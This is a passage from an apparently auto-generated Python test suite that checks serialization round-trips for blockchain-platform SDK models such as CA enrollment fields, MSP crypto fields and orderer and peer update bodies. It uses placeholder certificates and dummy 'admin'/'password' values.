update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model = {} # UpdateEnrollmentCryptoFieldTlsca
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
# Construct a json representation of a UpdateEnrollmentCryptoField model
update_enrollment_crypto_field_model_json = {}
update_enrollment_crypto_field_model_json['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model_json['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model_json['tlsca'] = update_enrollment_crypto_field_tlsca_model
# Construct a model instance of UpdateEnrollmentCryptoField by calling from_dict on the json representation
update_enrollment_crypto_field_model = UpdateEnrollmentCryptoField.from_dict(update_enrollment_crypto_field_model_json)
assert update_enrollment_crypto_field_model != False
# Construct a model instance of UpdateEnrollmentCryptoField by calling from_dict on the json representation
update_enrollment_crypto_field_model_dict = UpdateEnrollmentCryptoField.from_dict(update_enrollment_crypto_field_model_json).__dict__
update_enrollment_crypto_field_model2 = UpdateEnrollmentCryptoField(**update_enrollment_crypto_field_model_dict)
# Verify the model instances are equivalent
assert update_enrollment_crypto_field_model == update_enrollment_crypto_field_model2
# Convert model instance back to dict and verify no loss of data
update_enrollment_crypto_field_model_json2 = update_enrollment_crypto_field_model.to_dict()
assert update_enrollment_crypto_field_model_json2 == update_enrollment_crypto_field_model_json
class TestUpdateEnrollmentCryptoFieldCa():
"""
Test Class for UpdateEnrollmentCryptoFieldCa
"""
def test_update_enrollment_crypto_field_ca_serialization(self):
"""
Test serialization/deserialization for UpdateEnrollmentCryptoFieldCa
"""
# Construct a json representation of a UpdateEnrollmentCryptoFieldCa model
update_enrollment_crypto_field_ca_model_json = {}
update_enrollment_crypto_field_ca_model_json['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model_json['port'] = 7054
update_enrollment_crypto_field_ca_model_json['name'] = 'ca'
update_enrollment_crypto_field_ca_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model_json['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model_json['enroll_secret'] = 'password'
# Construct a model instance of UpdateEnrollmentCryptoFieldCa by calling from_dict on the json representation
update_enrollment_crypto_field_ca_model = UpdateEnrollmentCryptoFieldCa.from_dict(update_enrollment_crypto_field_ca_model_json)
assert update_enrollment_crypto_field_ca_model != False
# Construct a model instance of UpdateEnrollmentCryptoFieldCa by calling from_dict on the json representation
update_enrollment_crypto_field_ca_model_dict = UpdateEnrollmentCryptoFieldCa.from_dict(update_enrollment_crypto_field_ca_model_json).__dict__
update_enrollment_crypto_field_ca_model2 = UpdateEnrollmentCryptoFieldCa(**update_enrollment_crypto_field_ca_model_dict)
# Verify the model instances are equivalent
assert update_enrollment_crypto_field_ca_model == update_enrollment_crypto_field_ca_model2
# Convert model instance back to dict and verify no loss of data
update_enrollment_crypto_field_ca_model_json2 = update_enrollment_crypto_field_ca_model.to_dict()
assert update_enrollment_crypto_field_ca_model_json2 == update_enrollment_crypto_field_ca_model_json
class TestUpdateEnrollmentCryptoFieldTlsca():
"""
Test Class for UpdateEnrollmentCryptoFieldTlsca
"""
def test_update_enrollment_crypto_field_tlsca_serialization(self):
"""
Test serialization/deserialization for UpdateEnrollmentCryptoFieldTlsca
"""
# Construct a json representation of a UpdateEnrollmentCryptoFieldTlsca model
update_enrollment_crypto_field_tlsca_model_json = {}
update_enrollment_crypto_field_tlsca_model_json['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model_json['port'] = 7054
update_enrollment_crypto_field_tlsca_model_json['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model_json['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model_json['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model_json['csr_hosts'] = ['testString']
# Construct a model instance of UpdateEnrollmentCryptoFieldTlsca by calling from_dict on the json representation
update_enrollment_crypto_field_tlsca_model = UpdateEnrollmentCryptoFieldTlsca.from_dict(update_enrollment_crypto_field_tlsca_model_json)
assert update_enrollment_crypto_field_tlsca_model != False
# Construct a model instance of UpdateEnrollmentCryptoFieldTlsca by calling from_dict on the json representation
update_enrollment_crypto_field_tlsca_model_dict = UpdateEnrollmentCryptoFieldTlsca.from_dict(update_enrollment_crypto_field_tlsca_model_json).__dict__
update_enrollment_crypto_field_tlsca_model2 = UpdateEnrollmentCryptoFieldTlsca(**update_enrollment_crypto_field_tlsca_model_dict)
# Verify the model instances are equivalent
assert update_enrollment_crypto_field_tlsca_model == update_enrollment_crypto_field_tlsca_model2
# Convert model instance back to dict and verify no loss of data
update_enrollment_crypto_field_tlsca_model_json2 = update_enrollment_crypto_field_tlsca_model.to_dict()
assert update_enrollment_crypto_field_tlsca_model_json2 == update_enrollment_crypto_field_tlsca_model_json
class TestUpdateMspCryptoField():
"""
Test Class for UpdateMspCryptoField
"""
def test_update_msp_crypto_field_serialization(self):
"""
Test serialization/deserialization for UpdateMspCryptoField
"""
# Construct dict forms of any model objects needed in order to build this model.
update_msp_crypto_field_ca_model = {} # UpdateMspCryptoFieldCa
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
update_msp_crypto_field_tlsca_model = {} # UpdateMspCryptoFieldTlsca
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
update_msp_crypto_field_component_model = {} # UpdateMspCryptoFieldComponent
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
# Construct a json representation of a UpdateMspCryptoField model
update_msp_crypto_field_model_json = {}
update_msp_crypto_field_model_json['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model_json['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model_json['component'] = update_msp_crypto_field_component_model
# Construct a model instance of UpdateMspCryptoField by calling from_dict on the json representation
update_msp_crypto_field_model = UpdateMspCryptoField.from_dict(update_msp_crypto_field_model_json)
assert update_msp_crypto_field_model != False
# Construct a model instance of UpdateMspCryptoField by calling from_dict on the json representation
update_msp_crypto_field_model_dict = UpdateMspCryptoField.from_dict(update_msp_crypto_field_model_json).__dict__
update_msp_crypto_field_model2 = UpdateMspCryptoField(**update_msp_crypto_field_model_dict)
# Verify the model instances are equivalent
assert update_msp_crypto_field_model == update_msp_crypto_field_model2
# Convert model instance back to dict and verify no loss of data
update_msp_crypto_field_model_json2 = update_msp_crypto_field_model.to_dict()
assert update_msp_crypto_field_model_json2 == update_msp_crypto_field_model_json
class TestUpdateMspCryptoFieldCa():
"""
Test Class for UpdateMspCryptoFieldCa
"""
def test_update_msp_crypto_field_ca_serialization(self):
"""
Test serialization/deserialization for UpdateMspCryptoFieldCa
"""
# Construct a json representation of a UpdateMspCryptoFieldCa model
update_msp_crypto_field_ca_model_json = {}
update_msp_crypto_field_ca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model_json['ca_intermediate_certs'] = ['testString']
# Construct a model instance of UpdateMspCryptoFieldCa by calling from_dict on the json representation
update_msp_crypto_field_ca_model = UpdateMspCryptoFieldCa.from_dict(update_msp_crypto_field_ca_model_json)
assert update_msp_crypto_field_ca_model != False
# Construct a model instance of UpdateMspCryptoFieldCa by calling from_dict on the json representation
update_msp_crypto_field_ca_model_dict = UpdateMspCryptoFieldCa.from_dict(update_msp_crypto_field_ca_model_json).__dict__
update_msp_crypto_field_ca_model2 = UpdateMspCryptoFieldCa(**update_msp_crypto_field_ca_model_dict)
# Verify the model instances are equivalent
assert update_msp_crypto_field_ca_model == update_msp_crypto_field_ca_model2
# Convert model instance back to dict and verify no loss of data
update_msp_crypto_field_ca_model_json2 = update_msp_crypto_field_ca_model.to_dict()
assert update_msp_crypto_field_ca_model_json2 == update_msp_crypto_field_ca_model_json
class TestUpdateMspCryptoFieldComponent():
"""
Test Class for UpdateMspCryptoFieldComponent
"""
def test_update_msp_crypto_field_component_serialization(self):
"""
Test serialization/deserialization for UpdateMspCryptoFieldComponent
"""
# Construct dict forms of any model objects needed in order to build this model.
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
# Construct a json representation of a UpdateMspCryptoFieldComponent model
update_msp_crypto_field_component_model_json = {}
update_msp_crypto_field_component_model_json['ekey'] = 'testString'
update_msp_crypto_field_component_model_json['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model_json['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model_json['tls_key'] = 'testString'
update_msp_crypto_field_component_model_json['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model_json['client_auth'] = client_auth_model
# Construct a model instance of UpdateMspCryptoFieldComponent by calling from_dict on the json representation
update_msp_crypto_field_component_model = UpdateMspCryptoFieldComponent.from_dict(update_msp_crypto_field_component_model_json)
assert update_msp_crypto_field_component_model != False
# Construct a model instance of UpdateMspCryptoFieldComponent by calling from_dict on the json representation
update_msp_crypto_field_component_model_dict = UpdateMspCryptoFieldComponent.from_dict(update_msp_crypto_field_component_model_json).__dict__
update_msp_crypto_field_component_model2 = UpdateMspCryptoFieldComponent(**update_msp_crypto_field_component_model_dict)
# Verify the model instances are equivalent
assert update_msp_crypto_field_component_model == update_msp_crypto_field_component_model2
# Convert model instance back to dict and verify no loss of data
update_msp_crypto_field_component_model_json2 = update_msp_crypto_field_component_model.to_dict()
assert update_msp_crypto_field_component_model_json2 == update_msp_crypto_field_component_model_json
class TestUpdateMspCryptoFieldTlsca():
"""
Test Class for UpdateMspCryptoFieldTlsca
"""
def test_update_msp_crypto_field_tlsca_serialization(self):
"""
Test serialization/deserialization for UpdateMspCryptoFieldTlsca
"""
# Construct a json representation of a UpdateMspCryptoFieldTlsca model
update_msp_crypto_field_tlsca_model_json = {}
update_msp_crypto_field_tlsca_model_json['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model_json['ca_intermediate_certs'] = ['testString']
# Construct a model instance of UpdateMspCryptoFieldTlsca by calling from_dict on the json representation
update_msp_crypto_field_tlsca_model = UpdateMspCryptoFieldTlsca.from_dict(update_msp_crypto_field_tlsca_model_json)
assert update_msp_crypto_field_tlsca_model != False
# Construct a model instance of UpdateMspCryptoFieldTlsca by calling from_dict on the json representation
update_msp_crypto_field_tlsca_model_dict = UpdateMspCryptoFieldTlsca.from_dict(update_msp_crypto_field_tlsca_model_json).__dict__
update_msp_crypto_field_tlsca_model2 = UpdateMspCryptoFieldTlsca(**update_msp_crypto_field_tlsca_model_dict)
# Verify the model instances are equivalent
assert update_msp_crypto_field_tlsca_model == update_msp_crypto_field_tlsca_model2
# Convert model instance back to dict and verify no loss of data
update_msp_crypto_field_tlsca_model_json2 = update_msp_crypto_field_tlsca_model.to_dict()
assert update_msp_crypto_field_tlsca_model_json2 == update_msp_crypto_field_tlsca_model_json
class TestUpdateOrdererBodyCrypto():
"""
Test Class for UpdateOrdererBodyCrypto
"""
def test_update_orderer_body_crypto_serialization(self):
"""
Test serialization/deserialization for UpdateOrdererBodyCrypto
"""
# Construct dict forms of any model objects needed in order to build this model.
crypto_enrollment_component_model = {} # CryptoEnrollmentComponent
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_enrollment_crypto_field_ca_model = {} # UpdateEnrollmentCryptoFieldCa
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model = {} # UpdateEnrollmentCryptoFieldTlsca
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
update_enrollment_crypto_field_model = {} # UpdateEnrollmentCryptoField
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
update_msp_crypto_field_ca_model = {} # UpdateMspCryptoFieldCa
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
update_msp_crypto_field_tlsca_model = {} # UpdateMspCryptoFieldTlsca
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
update_msp_crypto_field_component_model = {} # UpdateMspCryptoFieldComponent
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
update_msp_crypto_field_model = {} # UpdateMspCryptoField
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a json representation of a UpdateOrdererBodyCrypto model
update_orderer_body_crypto_model_json = {}
update_orderer_body_crypto_model_json['enrollment'] = update_enrollment_crypto_field_model
update_orderer_body_crypto_model_json['msp'] = update_msp_crypto_field_model
# Construct a model instance of UpdateOrdererBodyCrypto by calling from_dict on the json representation
update_orderer_body_crypto_model = UpdateOrdererBodyCrypto.from_dict(update_orderer_body_crypto_model_json)
assert update_orderer_body_crypto_model != False
# Construct a model instance of UpdateOrdererBodyCrypto by calling from_dict on the json representation
update_orderer_body_crypto_model_dict = UpdateOrdererBodyCrypto.from_dict(update_orderer_body_crypto_model_json).__dict__
update_orderer_body_crypto_model2 = UpdateOrdererBodyCrypto(**update_orderer_body_crypto_model_dict)
# Verify the model instances are equivalent
assert update_orderer_body_crypto_model == update_orderer_body_crypto_model2
# Convert model instance back to dict and verify no loss of data
update_orderer_body_crypto_model_json2 = update_orderer_body_crypto_model.to_dict()
assert update_orderer_body_crypto_model_json2 == update_orderer_body_crypto_model_json
class TestUpdateOrdererBodyResources():
"""
Test Class for UpdateOrdererBodyResources
"""
def test_update_orderer_body_resources_serialization(self):
"""
Test serialization/deserialization for UpdateOrdererBodyResources
"""
# Construct dict forms of any model objects needed in order to build this model.
resource_requests_model = {} # ResourceRequests
resource_requests_model['cpu'] = '100m'
resource_requests_model['memory'] = '256MiB'
resource_limits_model = {} # ResourceLimits
resource_limits_model['cpu'] = '100m'
resource_limits_model['memory'] = '256MiB'
resource_object_model = {} # ResourceObject
resource_object_model['requests'] = resource_requests_model
resource_object_model['limits'] = resource_limits_model
# Construct a json representation of a UpdateOrdererBodyResources model
update_orderer_body_resources_model_json = {}
update_orderer_body_resources_model_json['orderer'] = resource_object_model
update_orderer_body_resources_model_json['proxy'] = resource_object_model
# Construct a model instance of UpdateOrdererBodyResources by calling from_dict on the json representation
update_orderer_body_resources_model = UpdateOrdererBodyResources.from_dict(update_orderer_body_resources_model_json)
assert update_orderer_body_resources_model != False
# Construct a model instance of UpdateOrdererBodyResources by calling from_dict on the json representation
update_orderer_body_resources_model_dict = UpdateOrdererBodyResources.from_dict(update_orderer_body_resources_model_json).__dict__
update_orderer_body_resources_model2 = UpdateOrdererBodyResources(**update_orderer_body_resources_model_dict)
# Verify the model instances are equivalent
assert update_orderer_body_resources_model == update_orderer_body_resources_model2
# Convert model instance back to dict and verify no loss of data
update_orderer_body_resources_model_json2 = update_orderer_body_resources_model.to_dict()
assert update_orderer_body_resources_model_json2 == update_orderer_body_resources_model_json
class TestUpdatePeerBodyCrypto():
"""
Test Class for UpdatePeerBodyCrypto
"""
def test_update_peer_body_crypto_serialization(self):
"""
Test serialization/deserialization for UpdatePeerBodyCrypto
"""
# Construct dict forms of any model objects needed in order to build this model.
crypto_enrollment_component_model = {} # CryptoEnrollmentComponent
crypto_enrollment_component_model['admincerts'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_enrollment_crypto_field_ca_model = {} # UpdateEnrollmentCryptoFieldCa
update_enrollment_crypto_field_ca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_ca_model['port'] = 7054
update_enrollment_crypto_field_ca_model['name'] = 'ca'
update_enrollment_crypto_field_ca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_ca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_ca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model = {} # UpdateEnrollmentCryptoFieldTlsca
update_enrollment_crypto_field_tlsca_model['host'] = 'n3a3ec3-myca.ibp.us-south.containers.appdomain.cloud'
update_enrollment_crypto_field_tlsca_model['port'] = 7054
update_enrollment_crypto_field_tlsca_model['name'] = 'tlsca'
update_enrollment_crypto_field_tlsca_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_enrollment_crypto_field_tlsca_model['enroll_id'] = 'admin'
update_enrollment_crypto_field_tlsca_model['enroll_secret'] = 'password'
update_enrollment_crypto_field_tlsca_model['csr_hosts'] = ['testString']
update_enrollment_crypto_field_model = {} # UpdateEnrollmentCryptoField
update_enrollment_crypto_field_model['component'] = crypto_enrollment_component_model
update_enrollment_crypto_field_model['ca'] = update_enrollment_crypto_field_ca_model
update_enrollment_crypto_field_model['tlsca'] = update_enrollment_crypto_field_tlsca_model
update_msp_crypto_field_ca_model = {} # UpdateMspCryptoFieldCa
update_msp_crypto_field_ca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_ca_model['ca_intermediate_certs'] = ['testString']
update_msp_crypto_field_tlsca_model = {} # UpdateMspCryptoFieldTlsca
update_msp_crypto_field_tlsca_model['root_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_tlsca_model['ca_intermediate_certs'] = ['testString']
client_auth_model = {} # ClientAuth
client_auth_model['type'] = 'noclientcert'
client_auth_model['tls_certs'] = ['testString']
update_msp_crypto_field_component_model = {} # UpdateMspCryptoFieldComponent
update_msp_crypto_field_component_model['ekey'] = 'testString'
update_msp_crypto_field_component_model['ecert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['admin_certs'] = ['LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo=']
update_msp_crypto_field_component_model['tls_key'] = 'testString'
update_msp_crypto_field_component_model['tls_cert'] = 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCkNlcnQgZGF0YSB3b3VsZCBiZSBoZXJlIGlmIHRoaXMgd2FzIHJlYWwKLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQo='
update_msp_crypto_field_component_model['client_auth'] = client_auth_model
update_msp_crypto_field_model = {} # UpdateMspCryptoField
update_msp_crypto_field_model['ca'] = update_msp_crypto_field_ca_model
update_msp_crypto_field_model['tlsca'] = update_msp_crypto_field_tlsca_model
update_msp_crypto_field_model['component'] = update_msp_crypto_field_component_model
# Construct a json representation of a UpdatePeerBodyCrypto model
update_peer_body_crypto_model_json = {}
update_peer_body_crypto_model_json['enrollment'] = update_enrollment_crypto_field_model
update_peer_body_crypto_model_json['msp'] = update_msp_crypto_field_model
# Construct a model instance of UpdatePeerBodyCrypto by calling from_dict on the json representation
update_peer_body_crypto_model = UpdatePeerBodyCrypto.from_dict(update_peer_body_crypto_model_json)
assert update_peer_body_crypto_model != False
# Construct a model instance of UpdatePeerBodyCrypto by calling from_dict on the json representation
update_peer_body_crypto_model_dict = UpdatePeerBodyCrypto.from_dict(update_peer_body_crypto_model_json).__dict__
update_peer_body_crypto_model2 = UpdatePeerBodyCrypto(**update_peer_body_crypto_model_dict)
# Verify the model instances are equivalent
assert update_peer_body_crypto_model == update_peer_body_crypto_model2
# Convert model instance back to dict and verify no loss of data
update_peer_body_crypto_model_json2 = update_peer_body_crypto_model.to_dict()
assert update_peer_body_crypto_model_json2 == update_peer_body_crypto_model_json
class TestActionEnroll():
"""
Test Class for ActionEnroll
"""
def test_action_enroll_serialization(self):
"""
Test serialization/deserialization for ActionEnroll
"""
# Construct a json representation of a ActionEnroll model
action_enroll_model_json = {}
action_enroll_model_json['tls_cert'] = True
action_enroll_model_json['ecert'] = True
# Construct a model instance of ActionEnroll by calling from_dict on the json representation
action_enroll_model = ActionEnroll.from_dict(action_enroll_model_json)
assert action_enroll_model != False
# Construct a model instance of ActionEnroll by calling from_dict on the json representation
action_enroll_model_dict = ActionEnroll.from_dict(action_enroll_model_json).__dict__
action_enroll_model2 = ActionEnroll(**action_enroll_model_dict)
# Verify the model instances are equivalent
assert action_enroll_model == action_enroll_model2
# Convert model instance back to dict and verify no loss of data
action_enroll_model_json2 = action_enroll_model.to_dict()
assert action_enroll_model_json2 == action_enroll_model_json
class TestActionReenroll():
"""
Test Class for ActionReenroll
"""
def test_action_reenroll_serialization(self):
"""
Test serialization/deserialization for ActionReenroll
"""
# Construct a json representation of a ActionReenroll model
